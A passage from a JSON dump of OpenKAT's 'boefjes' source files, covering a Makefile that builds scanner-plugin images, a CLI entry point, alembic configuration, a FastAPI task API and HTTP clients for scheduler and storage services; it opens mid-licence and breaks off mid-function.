governed by the law of the European Union Member State\n  where the Licensor has his seat, resides or has his registered office,\n\n- this licence shall be governed by Belgian law if the Licensor has no seat,\n  residence or registered office inside a European Union Member State.\n\nAppendix\n\n‘Compatible Licences’ according to Article 5 EUPL are:\n\n- GNU General Public License (GPL) v. 2, v. 3\n- GNU Affero General Public License (AGPL) v. 3\n- Open Software License (OSL) v. 2.1, v. 3.0\n- Eclipse Public License (EPL) v. 1.0\n- CeCILL v. 2.0, v. 2.1\n- Mozilla Public Licence (MPL) v. 2\n- GNU Lesser General Public Licence (LGPL) v. 2.1, v. 3\n- Creative Commons Attribution-ShareAlike v. 3.0 Unported (CC BY-SA 3.0) for\n  works other than software\n- European Union Public Licence (EUPL) v. 1.1, v. 1.2\n- Québec Free and Open-Source Licence — Reciprocity (LiLiQ-R) or Strong\n  Reciprocity (LiLiQ-R+).\n\nThe European Commission may update this Appendix to later versions of the above\nlicences without producing a new version of the EUPL, as long as they provide\nthe rights granted in Article 2 of this Licence and protect the covered Source\nCode from exclusive appropriation.\n\nAll other changes or additions to this Appendix require the production of a new\nEUPL version.\n"
  },
  {
    "path": "boefjes/MANIFEST.in",
    "content": "include README.md\ninclude LICENSE\ninclude boefjes/alembic.ini\n\nrecursive-include boefjes/katalogus/static *\nrecursive-include boefjes/plugins *.json\nrecursive-include boefjes/plugins *.md\nrecursive-include boefjes/plugins *.png\nrecursive-include boefjes/plugins *.jpg\nrecursive-include boefjes/plugins *.txt\n"
  },
  {
    "path": "boefjes/Makefile",
    "content": "SHELL := bash\n.ONESHELL:\n.SHELLFLAGS := -eu -o pipefail -c\n.DELETE_ON_ERROR:\nMAKEFLAGS += --warn-undefined-variables\nMAKEFLAGS += --no-builtin-rules\n# Makefile Reference: https://tech.davis-hansson.com/p/make/\n\n.PHONY: help sql migrate migrations debian ubuntu clean images\n\n# use HIDE to run commands invisibly, unless VERBOSE defined\nHIDE:=$(if $(VERBOSE),,@)\n\nexport m\t\t# Message for alembic migration\nexport revid\t# Revision id to generate raw sql for\nexport rev1\t\t# Previous revision id for generating migrations\nexport rev2\t\t# New revision id for the new migration file\n\n# We set this to build images with the right target platform in the `images` target. This prevents arm systems such as\n# systems with an Apple silicon chip to build images they cannot use.\nexport DOCKER_DEFAULT_PLATFORM=$(shell docker system info --format '{{.OSType}}/{{.Architecture}}')\n\n##\n##|------------------------------------------------------------------------|\n##\t\t\tHelp\n##|------------------------------------------------------------------------|\nhelp: ## Show this help.\n\t@fgrep -h \"##\" $(MAKEFILE_LIST) | fgrep -v fgrep | sed -e 's/\\\\$$//' | sed -e 's/:\\(.*\\)##/:\t\t\t/' | sed -e 's/##//'\n\n\n##\n##|------------------------------------------------------------------------|\n##\t\t\tDevelopment\n##|------------------------------------------------------------------------|\n\nbuild: images\n\nbase-image:\n\tdocker build -f **/base.Dockerfile -t openkat/boefje-base:latest .\n\nexport REGISTRY=docker.underdark.nl/librekat\n\n# TODO: nikto cannot run as a worker as it uses a custom javascript image. We should differentiate between these images.\n# Build the images for the containerized boefjes\nimages: dns-sec nmap export-http nikto adr-validator masscan nuclei ssl-certificates ssl-scan testssl-sh-ciphers webpage-capture wp-scan pdio-subfinder generic\n\ndns-sec: base-image\n\tdocker build -f */*/kat_dnssec/boefje.Dockerfile -t $(REGISTRY)/openkat-dns-sec:latest -t openkat/dns-sec .\n\nnmap: base-image\n\tdocker build -f */*/kat_nmap_tcp/boefje.Dockerfile -t $(REGISTRY)/openkat-nmap:latest -t openkat/nmap .\n\nexport-http: base-image\n\tdocker build -f */*/kat_export_http/boefje.Dockerfile -t $(REGISTRY)/openkat-export-http:latest -t openkat/export-http .\n\nnikto: base-image\n\tdocker build -f */*/kat_nikto/boefje.Dockerfile -t $(REGISTRY)/openkat-nikto:latest .\n\nadr-validator: base-image\n\tdocker build -f */*/kat_adr_validator/boefje.Dockerfile -t $(REGISTRY)/openkat-adr-validator:latest .\n\nmasscan: base-image\n\tdocker build -f */*/kat_masscan/boefje.Dockerfile -t $(REGISTRY)/openkat-masscan:latest .\n\nnuclei: base-image\n\tdocker build -f */*/kat_nuclei_cve/boefje.Dockerfile -t $(REGISTRY)/openkat-nuclei:latest .\n\nssl-certificates: base-image\n\tdocker build -f */*/kat_ssl_certificates/boefje.Dockerfile -t $(REGISTRY)/openkat-ssl-certificates:latest .\n\nssl-scan: base-image\n\tdocker build -f */*/kat_ssl_scan/boefje.Dockerfile -t $(REGISTRY)/openkat-ssl-scan:latest .\n\ntestssl-sh-ciphers: base-image\n\tdocker build -f */*/kat_testssl_sh_ciphers/boefje.Dockerfile -t $(REGISTRY)/openkat-testssl-sh-ciphers:latest .\n\nwebpage-capture: base-image\n\tdocker build -f */*/kat_webpage_capture/boefje.Dockerfile -t $(REGISTRY)/openkat-webpage-capture:latest .\n\nwp-scan: base-image\n\tdocker build -f */*/kat_wpscan/boefje.Dockerfile -t $(REGISTRY)/openkat-wp-scan:latest .\n\npdio-subfinder: base-image\n\tdocker build -f */*/kat_pdio_subfinder/boefje.Dockerfile -t $(REGISTRY)/openkat-pdio-subfinder:latest .\n\ngeneric: base-image\n\tdocker build -f */generic.Dockerfile -t $(REGISTRY)/openkat-generic:latest -t openkat/generic .\n\n\n##\n##|------------------------------------------------------------------------|\n##\t\t\tMigrations\n##|------------------------------------------------------------------------|\n\nmigrations: ## Generate a migration using alembic\nifeq ($(m),)\n\t$(HIDE) (echo \"Specify a message with m={message} and a rev-id with revid={revid} (e.g. 0001 etc.)\"; exit 1)\nelse\n\tdocker compose run --rm katalogus python -m alembic --config /app/boefjes/boefjes/alembic.ini revision --autogenerate -m \"$(m)\"\nendif\n\n\nsql: ## Generate raw sql for the migrations\n\tdocker compose run --rm katalogus python -m alembic --config /app/boefjes/boefjes/alembic.ini upgrade $(rev1):$(rev2) --sql\n\ncheck:\n\tpre-commit run --all-files --color always\n\n##\n##|------------------------------------------------------------------------|\n##\t\t\tTests\n##|------------------------------------------------------------------------|\n\nci-docker-compose := docker compose --project-directory . -f .ci/docker-compose.yml\n\n\ntest: itest ## Run all tests.\n\nitest: ## Run the integration tests.\n\t$(ci-docker-compose) build\n\t$(ci-docker-compose) down --remove-orphans\n\t$(ci-docker-compose) run --rm katalogus_integration\n\t$(ci-docker-compose) stop\n\nmigration_bench:  ## Run the migration benchmark.\n\t$(ci-docker-compose) build\n\t$(ci-docker-compose) down --remove-orphans\n\t$(ci-docker-compose) run --rm migration_bench\n\t$(ci-docker-compose) stop\n\nbench:  ## Run the other benchmarks\n\t$(ci-docker-compose) build\n\t$(ci-docker-compose) down --remove-orphans\n\t$(ci-docker-compose) run --rm katalogus_integration \\\n\tpython -m cProfile -o .ci/bench_$$(date +%Y_%m_%d-%H:%M:%S).pstat -m pytest -m slow --no-cov tests/integration\n\t$(ci-docker-compose) stop\n\ndebian12:\n\tdocker run --rm \\\n\t--env PKG_NAME=kat-boefjes \\\n\t--env BUILD_DIR=./build \\\n\t--env REPOSITORY=minvws/nl-kat-boefjes \\\n\t--env RELEASE_VERSION=${RELEASE_VERSION} \\\n\t--env RELEASE_TAG=${RELEASE_TAG} \\\n\t--mount type=bind,src=${CURDIR},dst=/app \\\n\t--mount type=bind,src=${CURDIR}/../octopoes,dst=/octopoes \\\n\t--workdir /app \\\n\tkat-debian12-build-image \\\n\tpackaging/scripts/build-debian-package.sh\n\nubuntu22.04:\n\tmkdir -p build\n\tdocker run --rm \\\n\t--env PKG_NAME=kat-boefjes \\\n\t--env BUILD_DIR=./build \\\n\t--env REPOSITORY=minvws/nl-kat-boefjes \\\n\t--env RELEASE_VERSION=${RELEASE_VERSION} \\\n\t--env RELEASE_TAG=${RELEASE_TAG} \\\n\t--mount type=bind,src=${CURDIR},dst=/app \\\n\t--mount type=bind,src=${CURDIR}/../octopoes,dst=/octopoes \\\n\t--workdir /app \\\n\tkat-ubuntu22.04-build-image \\\n\tpackaging/scripts/build-debian-package.sh\n\nclean:\n\trm -rf build\n\trm -rf debian/kat-*/ debian/.debhelper debian/files *.egg-info/ dist/\n\trm -f debian/debhelper-build-stamp\n\trm -f debian/*.*.debhelper\n\trm -f debian/*.substvars\n\trm -f debian/*.debhelper.log\n\trm -f debian/changelog\n"
  },
  {
    "path": "boefjes/boefjes/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/__main__.py",
    "content": "import click\nimport structlog\nfrom sqlalchemy.orm import sessionmaker\n\nfrom boefjes.clients.scheduler_client import SchedulerAPIClient\nfrom boefjes.config import Settings, settings\nfrom boefjes.dependencies.plugins import PluginService\nfrom boefjes.job_handler import DockerBoefjeHandler, LocalNormalizerHandler, bytes_api_client\nfrom boefjes.local.runner import LocalNormalizerJobRunner\nfrom boefjes.logging import configure_logging\nfrom boefjes.sql.config_storage import create_config_storage\nfrom boefjes.sql.db import get_engine\nfrom boefjes.sql.plugin_storage import create_plugin_storage\nfrom boefjes.worker.boefje_handler import LocalBoefjeHandler\nfrom boefjes.worker.interfaces import WorkerManager\nfrom boefjes.worker.manager import SchedulerWorkerManager\nfrom boefjes.worker.repository import get_local_repository\n\nconfigure_logging()\n\nlogger = structlog.get_logger(__name__)\n\n\ndef get_runtime_manager(\n    settings: Settings, queue: WorkerManager.Queue, images: list[str] | None = None, plugins: list[str] | None = None\n) -> WorkerManager:\n    local_repository = get_local_repository()\n\n    session = sessionmaker(bind=get_engine())()\n    plugin_service = PluginService(create_plugin_storage(session), create_config_storage(session), local_repository)\n    scheduler_client = SchedulerAPIClient(plugin_service, str(settings.scheduler_api), images, plugins)\n\n    item_handler: LocalBoefjeHandler | LocalNormalizerHandler | DockerBoefjeHandler\n\n    if queue is WorkerManager.Queue.BOEFJES:\n        item_handler = DockerBoefjeHandler(scheduler_client, bytes_api_client)\n    else:\n        item_handler = LocalNormalizerHandler(\n            LocalNormalizerJobRunner(local_repository), bytes_api_client, settings.scan_profile_whitelist\n        )\n\n    return SchedulerWorkerManager(\n        item_handler,\n        scheduler_client,\n        settings.pool_size,\n        settings.poll_interval,\n        settings.worker_heartbeat,\n        settings.deduplicate,\n    )\n\n\n@click.command()\n@click.argument(\"queue\", type=click.Choice([q.value for q in WorkerManager.Queue]))\n@click.option(\"--worker/--no-worker\", \"-w/-n\", default=True, help=\"Whether to start a worker.\")\n@click.option(\"-i\", \"--images\", type=str, default=None, multiple=True, help=\"A list of OCI images to filter on.\")\n@click.option(\"-p\", \"--plugins\", type=str, default=None, multiple=True, help=\"A list of plugin ids to filter on.\")\n@click.option(\"--log-level\", type=click.Choice([\"DEBUG\", \"INFO\", \"WARNING\", \"ERROR\"]), help=\"Log level\", default=\"INFO\")\ndef cli(queue: str, worker: bool, images: tuple[str] | None, plugins: tuple[str] | None, log_level: str) -> None:\n    logger.setLevel(log_level)\n    logger.info(\"Starting runtime for %s [image_filter=%s, plugin_filter=%s]\", queue, images, plugins)\n\n    if not plugins:\n        parsed_plugins = settings.plugins or None\n    else:\n        parsed_plugins = list(plugins)\n\n    if not images:\n        parsed_images = settings.images or None\n    else:\n        parsed_images = list(images)\n\n    runtime = get_runtime_manager(settings, WorkerManager.Queue(queue), parsed_images, parsed_plugins)\n\n    if queue == \"boefje\":\n        import boefjes.api\n\n        boefjes.api.run()\n\n        if worker:\n            runtime.run(WorkerManager.Queue(queue))\n    else:\n        runtime.run(WorkerManager.Queue(queue))\n\n\nif __name__ == \"__main__\":\n    cli()\n"
  },
  {
    "path": "boefjes/boefjes/alembic.ini",
    "content": "# A generic, single database configuration.\n\n[alembic]\n# path to migration scripts\nscript_location = boefjes/migrations\n\n# template used to generate migration files\nfile_template = %%(rev)s_%%(slug)s\n\n# sys.path path, will be prepended to sys.path if present.\n# defaults to the current working directory.\nprepend_sys_path = .\n\n# timezone to use when rendering the date within the migration file\n# as well as the filename.\n# If specified, requires the python-dateutil library that can be\n# installed by adding `alembic[tz]` to the pip requirements\n# string value is passed to dateutil.tz.gettz()\n# leave blank for localtime\n# timezone =\n\n# max length of characters to apply to the\n# \"slug\" field\n# truncate_slug_length = 40\n\n# set to 'true' to run the environment during\n# the 'revision' command, regardless of autogenerate\n# revision_environment = false\n\n# set to 'true' to allow .pyc and .pyo files without\n# a source .py file to be detected as revisions in the\n# versions/ directory\n# sourceless = false\n\n# version location specification; This defaults\n# to migrations/versions.  When using multiple version\n# directories, initial revisions must be specified with --version-path.\n# The path separator used here should be the separator specified by \"version_path_separator\" below.\n# version_locations = %(here)s/bar:%(here)s/bat:migrations/versions\n\n# version path separator; As mentioned above, this is the character used to split\n# version_locations. The default within new alembic.ini files is \"os\", which uses os.pathsep.\n# If this key is omitted entirely, it falls back to the legacy behavior of splitting on spaces and/or commas.\n# Valid values for version_path_separator are:\n#\n# version_path_separator = :\n# version_path_separator = ;\n# version_path_separator = space\nversion_path_separator = os  # Use os.pathsep. Default configuration used for new projects.\n\n# the output encoding used when revision files\n# are written from script.py.mako\n# output_encoding = utf-8\n\nsqlalchemy.url =\n\n\n[post_write_hooks]\n# post_write_hooks defines scripts or Python functions that are run\n# on newly generated revision scripts.  See the documentation for further\n# detail and examples\n\n# format using \"black\" - use the console_scripts runner, against the \"black\" entrypoint\n# hooks = black\n# black.type = console_scripts\n# black.entrypoint = black\n# black.options = -l 79 REVISION_SCRIPT_FILENAME\n\n# Logging configuration\n[loggers]\nkeys = root,sqlalchemy,alembic\n\n[handlers]\nkeys = console\n\n[formatters]\nkeys = generic\n\n[logger_root]\nlevel = WARN\nhandlers = console\nqualname =\n\n[logger_sqlalchemy]\nlevel = WARN\nhandlers =\nqualname = sqlalchemy.engine\n\n[logger_alembic]\nlevel = INFO\nhandlers =\nqualname = alembic\n\n[handler_console]\nclass = StreamHandler\nargs = (sys.stderr,)\nlevel = NOTSET\nformatter = generic\n\n[formatter_generic]\nformat = %(levelname)-5.5s [%(name)s] %(message)s\ndatefmt = %H:%M:%S\n"
  },
  {
    "path": "boefjes/boefjes/api.py",
    "content": "import multiprocessing\nimport uuid\nfrom datetime import datetime, timezone\nfrom multiprocessing.context import ForkContext, ForkProcess\nfrom typing import Any\nfrom uuid import UUID\n\nimport structlog\nfrom fastapi import Body, Depends, FastAPI, HTTPException\nfrom httpx import HTTPError, HTTPStatusError\nfrom pydantic import BaseModel\nfrom uvicorn import Config, Server\n\nfrom boefjes.clients.bytes_client import BytesAPIClient\nfrom boefjes.clients.scheduler_client import SchedulerAPIClient\nfrom boefjes.config import settings\nfrom boefjes.dependencies.plugins import get_plugin_service\nfrom boefjes.worker.interfaces import BoefjeInput, BoefjeOutput, StatusEnum, Task, TaskStatus, WorkerManager\nfrom boefjes.worker.repository import _default_mime_types\n\napp = FastAPI(title=\"Boefje API\")\nlogger = structlog.get_logger(__name__)\nctx: ForkContext = multiprocessing.get_context(\"fork\")\n\n\nclass UvicornServer(ForkProcess):\n    def __init__(self, config: Config):\n        super().__init__()\n        self.server = Server(config=config)\n        self.config = config\n\n    def stop(self) -> None:\n        self.terminate()\n\n    def run(self, *args, **kwargs):\n        self.server.run()\n\n\ndef run():\n    config = Config(app, host=settings.api_host, port=settings.api_port)\n    instance = UvicornServer(config=config)\n    instance.start()\n    return instance\n\n\n# Model for partial updates, only allowing a status update\nclass TaskIn(BaseModel):\n    status: TaskStatus\n\n\ndef get_scheduler_client(plugin_service=Depends(get_plugin_service)):\n    return SchedulerAPIClient(plugin_service, str(settings.scheduler_api))\n\n\ndef get_bytes_client():\n    return BytesAPIClient(str(settings.bytes_api), username=settings.bytes_username, password=settings.bytes_password)\n\n\n@app.get(\"/healthz\")\nasync def root():\n    return \"OK\"\n\n\n@app.get(\"/api/v0/tasks/{task_id}\", response_model=BoefjeInput)\ndef boefje_input(task_id: UUID, scheduler_client: SchedulerAPIClient = Depends(get_scheduler_client)) -> BoefjeInput:\n    task = get_task_from_scheduler(task_id, scheduler_client)\n\n    if task.status is not TaskStatus.RUNNING:\n        raise HTTPException(status_code=403, detail=\"Task does not have status running\")\n\n    output_url = str(settings.api).rstrip(\"/\") + f\"/api/v0/tasks/{task_id}\"\n    return BoefjeInput(task=task, output_url=output_url)\n\n\n@app.post(\"/api/v0/tasks/{task_id}\")\ndef boefje_output(\n    task_id: UUID,\n    boefje_output: BoefjeOutput,\n    scheduler_client: SchedulerAPIClient = Depends(get_scheduler_client),\n    bytes_client: BytesAPIClient = Depends(get_bytes_client),\n) -> dict[str, uuid.UUID]:\n    task = get_task_from_scheduler(task_id, scheduler_client)\n    boefje_meta = task.data\n\n    if task.status is not TaskStatus.RUNNING:\n        raise HTTPException(status_code=403, detail=\"Task does not have status running\")\n\n    boefje_meta.started_at = task.modified_at\n    boefje_meta.ended_at = datetime.now(timezone.utc)\n\n    try:\n        bytes_client.login()\n        bytes_client.save_boefje_meta(boefje_meta)\n\n        bytes_response = {}\n\n        if boefje_output.files:\n            mime_types = _default_mime_types(boefje_meta.boefje)\n            for file in boefje_output.files:\n                file.tags = set(mime_types.union(file.tags)) if file.tags else set(mime_types)\n\n            # when supported, also save file.name to Bytes\n            bytes_response = bytes_client.save_raws(task_id, boefje_output)\n    except HTTPError:\n        scheduler_client.patch_task(task_id, TaskStatus.FAILED)\n        return {}\n\n    if boefje_output.status == StatusEnum.COMPLETED:\n        scheduler_client.patch_task(task_id, TaskStatus.COMPLETED)\n    elif boefje_output.status == StatusEnum.FAILED:\n        scheduler_client.patch_task(task_id, TaskStatus.FAILED)\n\n    return bytes_response\n\n\ndef get_task_from_scheduler(task_id: UUID, scheduler_client: SchedulerAPIClient):\n    try:\n        task = scheduler_client.get_task(task_id)\n    except HTTPError as e:\n        if isinstance(e, HTTPStatusError) and e.response.status_code == 404:\n            raise HTTPException(status_code=404, detail=\"Task not found\")\n        else:\n            logger.exception(\"Failed to get task from scheduler\")\n            raise HTTPException(status_code=500, detail=\"Internal server error\")\n    return task\n\n\n# The \"scheduler proxy\" endpoints\n\n\n@app.post(\"/api/v0/scheduler/{queue_id}/pop\", response_model=list[Task], tags=[\"scheduler\"])\ndef pop_tasks(\n    queue_id: str,\n    limit: int = 1,\n    filters: dict[str, Any] | None = Body(...),\n    scheduler_client: SchedulerAPIClient = Depends(get_scheduler_client),\n) -> list[Task]:\n    return scheduler_client.pop_items(WorkerManager.Queue(queue_id), filters, limit)\n\n\n@app.post(\"/api/v0/scheduler/{queue_id}/push\", tags=[\"scheduler\"])\ndef push_item(\n    queue_id: str, p_item: Task, scheduler_client: SchedulerAPIClient = Depends(get_scheduler_client)\n) -> None:\n    return scheduler_client.push_item(p_item)\n\n\n@app.patch(\"/api/v0/scheduler/tasks/{task_id}\", tags=[\"scheduler\"])\ndef patch_task(\n    task_id: uuid.UUID, task: TaskIn, scheduler_client: SchedulerAPIClient = Depends(get_scheduler_client)\n) -> None:\n    return scheduler_client.patch_task(task_id, task.status)\n\n\n@app.get(\"/api/v0/scheduler/tasks/{task_id}\", response_model=Task, tags=[\"scheduler\"])\ndef get_task(task_id: uuid.UUID, scheduler_client: SchedulerAPIClient = Depends(get_scheduler_client)) -> Task:\n    return get_task_from_scheduler(task_id, scheduler_client)\n"
  },
  {
    "path": "boefjes/boefjes/clients/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/clients/bytes_client.py",
    "content": "import typing\nimport uuid\nfrom base64 import b64encode\nfrom collections.abc import Callable\nfrom functools import wraps\nfrom typing import Any\n\nimport structlog\nfrom httpx import Client, HTTPStatusError, HTTPTransport, Response\n\nfrom boefjes.config import settings\nfrom boefjes.worker.interfaces import BoefjeOutput, BoefjeStorageInterface\nfrom boefjes.worker.job_models import BoefjeMeta, NormalizerMeta, RawDataMeta\n\nBYTES_API_CLIENT_VERSION = \"0.3\"\nlogger = structlog.get_logger(__name__)\n\nClientSessionMethod = Callable[..., Any]\n\n\ndef retry_with_login(function: ClientSessionMethod) -> ClientSessionMethod:\n    @wraps(function)\n    def wrapper(self, *args, **kwargs):\n        try:\n            return function(self, *args, **kwargs)\n        except HTTPStatusError as error:\n            if error.response.status_code != 401:\n                raise\n\n            self.login()\n            return function(self, *args, **kwargs)\n\n    return typing.cast(ClientSessionMethod, wrapper)\n\n\nclass BytesAPIClient(BoefjeStorageInterface):\n    def __init__(self, base_url: str, username: str, password: str):\n        self._session = Client(\n            base_url=base_url,\n            headers={\"User-Agent\": f\"bytes-api-client/{BYTES_API_CLIENT_VERSION}\"},\n            transport=(HTTPTransport(retries=6)),\n            timeout=settings.outgoing_request_timeout,\n        )\n\n        self.credentials = {\"username\": username, \"password\": password}\n        self.headers: dict[str, str] = {}\n\n    def login(self) -> None:\n        self.headers = self._get_authentication_headers()\n\n    @staticmethod\n    def _verify_response(response: Response) -> None:\n        try:\n            response.raise_for_status()\n        except HTTPStatusError as error:\n            if error.response.status_code != 401 and error.response.status_code != 404:\n                logger.error(response.text)\n            else:\n                logger.debug(response.text)\n            raise\n\n    def _get_authentication_headers(self) -> dict[str, str]:\n        return {\"Authorization\": f\"bearer {self._get_token()}\"}\n\n    def _get_token(self) -> str:\n        response = self._session.post(\n            \"/token\", data=self.credentials, headers={\"content-type\": \"application/x-www-form-urlencoded\"}\n        )\n\n        return str(response.json()[\"access_token\"])\n\n    @retry_with_login\n    def save_boefje_meta(self, boefje_meta: BoefjeMeta) -> None:\n        response = self._session.post(\n            \"/bytes/boefje_meta\", json=boefje_meta.model_dump(mode=\"json\"), headers=self.headers\n        )\n\n        self._verify_response(response)\n\n    @retry_with_login\n    def get_boefje_meta(self, boefje_meta_id: str) -> BoefjeMeta:\n        response = self._session.get(f\"/bytes/boefje_meta/{boefje_meta_id}\", headers=self.headers)\n        self._verify_response(response)\n\n        return BoefjeMeta.model_validate_json(response.content)\n\n    @retry_with_login\n    def save_normalizer_meta(self, normalizer_meta: NormalizerMeta) -> None:\n        response = self._session.post(\n            \"/bytes/normalizer_meta\", json=normalizer_meta.model_dump(mode=\"json\"), headers=self.headers\n        )\n\n        self._verify_response(response)\n\n    @retry_with_login\n    def get_normalizer_meta(self, normalizer_meta_id: uuid.UUID) -> NormalizerMeta:\n        response = self._session.get(f\"/bytes/normalizer_meta/{normalizer_meta_id}\", headers=self.headers)\n        self._verify_response(response)\n\n        return NormalizerMeta.model_validate_json(response.content)\n\n    @retry_with_login\n    def save_output(self, boefje_meta: BoefjeMeta, boefje_output: BoefjeOutput) -> dict[str, uuid.UUID]:\n        self.save_boefje_meta(boefje_meta)\n\n        if boefje_output.files:\n            return self.save_raws(boefje_meta.id, boefje_output)\n\n        return {}\n\n    @retry_with_login\n    def save_raws(self, boefje_meta_id: uuid.UUID, boefje_output: BoefjeOutput) -> dict[str, uuid.UUID]:\n        response = self._session.post(\n            \"/bytes/raw\",\n            json=boefje_output.model_dump(mode=\"json\"),\n            headers=self.headers,\n            params={\"boefje_meta_id\": str(boefje_meta_id)},\n        )\n        self._verify_response(response)\n\n        return response.json()\n\n    @retry_with_login\n    def save_raw(self, boefje_meta_id: str, raw: str | bytes, mime_types: set[str]) -> uuid.UUID:\n        file_name = \"raw\"  # The name provides a key for all ids returned, so this is arbitrary as we only upload 1 file\n\n        response = self._session.post(\n            \"/bytes/raw\",\n            json={\n                \"files\": [\n                    {\n                        \"name\": file_name,\n                        \"content\": b64encode(raw if isinstance(raw, bytes) else raw.encode()).decode(),\n                        \"tags\": list(mime_types),\n                    }\n                ]\n            },\n            headers=self.headers,\n            params={\"boefje_meta_id\": str(boefje_meta_id)},\n        )\n        self._verify_response(response)\n\n        return uuid.UUID(response.json()[file_name])\n\n    @retry_with_login\n    def get_raw(self, raw_data_id: str) -> bytes:\n        response = self._session.get(f\"/bytes/raw/{raw_data_id}\", headers=self.headers)\n        self._verify_response(response)\n\n        return response.content\n\n    @retry_with_login\n    def get_raws(self, boefje_meta_id: str) -> BoefjeOutput:\n        response = self._session.get(\"/bytes/raws\", headers=self.headers, params={\"boefje_meta_id\": boefje_meta_id})\n        self._verify_response(response)\n\n        return BoefjeOutput.model_validate_json(response.content)\n\n    @retry_with_login\n    def get_raw_meta(self, raw_data_id: str) -> RawDataMeta:\n        response = self._session.get(f\"/bytes/raw/{raw_data_id}/meta\", headers=self.headers)\n        self._verify_response(response)\n\n        return RawDataMeta.model_validate_json(response.content)\n"
  },
  {
    "path": "boefjes/boefjes/clients/scheduler_client.py",
    "content": "import datetime\nimport os\nimport uuid\nfrom functools import cache\nfrom typing import Any\n\nimport httpx\nimport structlog\nfrom httpx import Client, HTTPError, HTTPTransport, Response\nfrom jsonschema import ValidationError\nfrom jsonschema.validators import validate\nfrom pydantic import TypeAdapter\n\nfrom boefjes.config import settings\nfrom boefjes.dependencies.plugins import PluginService\nfrom boefjes.worker.interfaces import SchedulerClientInterface, Task, TaskPop, TaskStatus, WorkerManager\nfrom boefjes.worker.job_models import BoefjeMeta\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import Reference\nfrom octopoes.models.exception import ObjectNotFoundException\n\nlogger = structlog.get_logger(__name__)\n\n\nclass SchedulerAPIClient(SchedulerClientInterface):\n    def __init__(\n        self,\n        plugin_service: PluginService,\n        base_url: str,\n        oci_images: list[str] | None = None,\n        plugins: list[str] | None = None,\n    ):\n        self._session = Client(\n            base_url=base_url, transport=HTTPTransport(retries=6), timeout=settings.outgoing_request_timeout\n        )\n        self.plugin_service = plugin_service\n        self.oci_images = oci_images\n        self.plugins = plugins\n\n    @staticmethod\n    def _verify_response(response: Response) -> None:\n        response.raise_for_status()\n\n    def pop_items(\n        self, queue: WorkerManager.Queue, filters: dict[str, list[dict[str, Any]]] | None = None, limit: int | None = 1\n    ) -> list[Task]:\n        if not filters:\n            filters = {\"filters\": []}\n        if self.oci_images:\n            filters[\"filters\"].append(\n                {\"column\": \"data\", \"field\": \"boefje__oci_image\", \"operator\": \"in\", \"value\": self.oci_images}\n            )\n        if self.plugins:\n            filters[\"filters\"].append(\n                {\"column\": \"data\", \"field\": \"boefje__id\", \"operator\": \"in\", \"value\": self.plugins}\n            )\n\n        if queue.value == \"normalizer\":\n            response = self._session.post(\n                \"/schedulers/normalizer/pop\",\n                json=filters if filters[\"filters\"] else None,\n                params={\"limit\": limit} if limit else None,\n            )\n        else:\n            response = self._session.post(\n                \"/schedulers/boefje/pop\",\n                json=filters if filters[\"filters\"] else None,\n                params={\"limit\": limit} if limit else None,\n            )\n        self._verify_response(response)\n\n        page = TypeAdapter(TaskPop | None).validate_json(response.content)\n\n        if page is None:\n            return []\n\n        results = []\n        for task in page.results:\n            if isinstance(task.data, BoefjeMeta):\n                try:\n                    task.data = self._hydrate_boefje_meta(task.data)\n                except (ValidationError, ObjectNotFoundException):\n                    self.patch_task(task.id, TaskStatus.FAILED)\n                    continue\n            results.append(task)\n\n        return results\n\n    def push_item(self, p_item: Task) -> None:\n        if p_item.scheduler_id not in [\"boefje\", \"normalizer\"]:\n            raise ValueError(\"Invalid scheduler id\")\n\n        response = self._session.post(f\"/schedulers/{p_item.scheduler_id}/push\", json=p_item.model_dump(mode=\"json\"))\n        self._verify_response(response)\n\n    def patch_task(self, task_id: uuid.UUID, status: TaskStatus) -> None:\n        response = self._session.patch(f\"/tasks/{task_id}\", json={\"status\": status.value})\n        self._verify_response(response)\n\n    def get_task(self, task_id: uuid.UUID, hydrate: bool = True) -> Task:\n        response = self._session.get(f\"/tasks/{task_id}\")\n        self._verify_response(response)\n\n        task = Task.model_validate_json(response.content)\n\n        if hydrate and isinstance(task.data, BoefjeMeta):\n            task.data = self._hydrate_boefje_meta(task.data)\n\n        return task\n\n    def _hydrate_boefje_meta(self, boefje_meta: BoefjeMeta) -> BoefjeMeta:\n        with self.plugin_service as service:\n            plugin = service.by_plugin_id(boefje_meta.boefje.id, boefje_meta.organization)\n\n        # The octopoes API connector is organization-specific, where the client is generic.\n        octopoes_api_connector = get_octopoes_api_connector(boefje_meta.organization)\n        input_ooi = boefje_meta.input_ooi\n        boefje_meta.arguments = {\"oci_image\": plugin.oci_image, \"oci_arguments\": plugin.oci_arguments}\n        boefje_meta.runnable_hash = plugin.runnable_hash\n\n        if input_ooi:\n            reference = Reference.from_str(input_ooi)\n            try:\n                ooi = octopoes_api_connector.get(reference, valid_time=datetime.datetime.now(datetime.timezone.utc))\n                boefje_meta.arguments[\"input\"] = ooi.serialize()\n            except ObjectNotFoundException:\n                logger.info(\n                    \"Can't run boefje because OOI does not exist anymore\",\n                    reference=reference,\n                    boefje_id=boefje_meta.boefje.id,\n                    ooi=boefje_meta.input_ooi,\n                    task_id=boefje_meta.id,\n                )\n                raise\n        try:\n            boefje_meta.environment = get_environment_settings(boefje_meta, plugin.boefje_schema)\n        except ValidationError:\n            logger.exception(\"The boefje environment was not set correctly\")\n            raise\n\n        return boefje_meta\n\n\n@cache\ndef boefje_env_variables() -> dict:\n    \"\"\"\n    Return all environment variables that start with BOEFJE_. The returned\n    keys have the BOEFJE_ prefix removed.\n    \"\"\"\n\n    boefje_variables = {}\n    for key, value in os.environ.items():\n        if key.startswith(\"BOEFJE_\"):\n            boefje_variables[key.removeprefix(\"BOEFJE_\")] = value\n\n    return boefje_variables\n\n\ndef get_system_env_settings_for_boefje(allowed_keys: list[str]) -> dict:\n    return {key: value for key, value in boefje_env_variables().items() if key in allowed_keys}\n\n\ndef get_environment_settings(boefje_meta: BoefjeMeta, schema: dict | None = None) -> dict[str, str]:\n    try:\n        katalogus_api = str(settings.katalogus_api).rstrip(\"/\")\n        response = httpx.get(\n            f\"{katalogus_api}/v1/organisations/{boefje_meta.organization}/{boefje_meta.boefje.id}/settings\", timeout=30\n        )\n        response.raise_for_status()\n    except HTTPError:\n        logger.exception(\"Error getting environment settings\")\n        raise\n\n    allowed_keys = schema.get(\"properties\", []) if schema else []\n    new_env = get_system_env_settings_for_boefje(allowed_keys)\n\n    settings_from_katalogus = response.json()\n\n    for key, value in 